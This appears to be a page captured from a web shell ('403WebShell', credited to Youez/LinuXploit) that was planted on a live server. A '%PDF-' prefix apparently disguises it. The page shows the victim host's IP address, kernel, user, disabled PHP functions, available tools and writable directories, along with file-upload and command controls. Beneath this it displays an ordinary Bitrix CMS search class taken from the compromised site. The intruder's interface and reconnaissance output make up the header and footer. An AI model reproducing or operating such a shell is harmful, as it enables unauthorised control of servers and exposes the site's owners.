%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.142.54.153
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/search/classes/mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/search/classes/mysql/title.php
<?php
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/search/classes/general/title.php");

class CSearchTitle extends CAllSearchTitle
{
	function searchTitle($phrase = "", $nTopCount = 5, $arParams = array(), $bNotFilter = false, $order = "")
	{
		$DB = CDatabase::GetModuleConnection('search');
		$bOrderByRank = ($order == "rank");

		$sqlHaving = array();
		$sqlWords = array();
		if (!empty($this->_arPhrase))
		{
			$last = true;
			foreach (array_reverse($this->_arPhrase, true) as $word => $pos)
			{
				if ($last && !preg_match("/[\\n\\r \\t]$/", $phrase))
				{
					$last = false;
					if (mb_strlen($word) >= $this->minLength)
						$s = $sqlWords[] = "ct.WORD like '".$DB->ForSQL($word)."%'";
					else
						$s = "";
				}
				else
				{
					$s = $sqlWords[] = "ct.WORD = '".$DB->ForSQL($word)."'";
				}

				if ($s)
					$sqlHaving[] = "(sum(".$s.") > 0)";
			}
		}

		if (!empty($sqlWords))
		{
			$bIncSites = false;
			$strSqlWhere = CSearch::__PrepareFilter($arParams, $bIncSites);
			if ($bNotFilter)
			{
				if (!empty($strSqlWhere))
					$strSqlWhere = "NOT (".$strSqlWhere.")";
				else
					$strSqlWhere = "1=0";
			}

			$strSql = "
				SELECT
					sc.ID
					,sc.MODULE_ID
					,sc.ITEM_ID
					,sc.TITLE
					,sc.PARAM1
					,sc.PARAM2
					,sc.DATE_CHANGE
					,sc.URL as URL
					,scsite.URL as SITE_URL
					,scsite.SITE_ID
					,if(locate('".$DB->ForSQL(ToUpper($phrase))."', upper(sc.TITLE)) > 0, 1, 0) RANK1
					,count(1) RANK2
					,min(ct.POS) RANK3
				FROM
					b_search_content_title ct
					inner join b_search_content sc on sc.ID = ct.SEARCH_CONTENT_ID
					INNER JOIN b_search_content_site scsite ON sc.ID = scsite.SEARCH_CONTENT_ID and ct.SITE_ID = scsite.SITE_ID
				WHERE
					".CSearch::CheckPermissions("sc.ID")."
					AND ct.SITE_ID = '".SITE_ID."'
					AND (".implode(" OR ", $sqlWords).")
					".(!empty($strSqlWhere)? "AND ".$strSqlWhere: "")."
				GROUP BY
					ID, MODULE_ID, ITEM_ID, TITLE, PARAM1, PARAM2, DATE_CHANGE, URL, SITE_URL, SITE_ID
				".(count($sqlHaving) > 1? "HAVING ".implode(" AND ", $sqlHaving): "")."
				ORDER BY ".(
				$bOrderByRank?
					"RANK1 DESC, RANK2 DESC, RANK3 ASC, TITLE":
					"DATE_CHANGE DESC, RANK1 DESC, RANK2 DESC, RANK3 ASC, TITLE"
				)."
				LIMIT 0, ".($nTopCount + 1)."
			";

			$r = $DB->Query($strSql);
			parent::__construct($r);
			return true;
		}
		else
		{
			return false;
		}
	}

	function getRankFunction($phrase)
	{
		$DB = CDatabase::GetModuleConnection('search');
		return "if(locate('".$DB->ForSQL(ToUpper($phrase))."', upper(sc.TITLE)) > 0, 1, 0)";
	}

	function getSqlOrder($bOrderByRank)
	{
		if ($bOrderByRank)
			return "RANK1 DESC, TITLE";
		else
			return "DATE_CHANGE DESC, RANK1 DESC, TITLE";
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit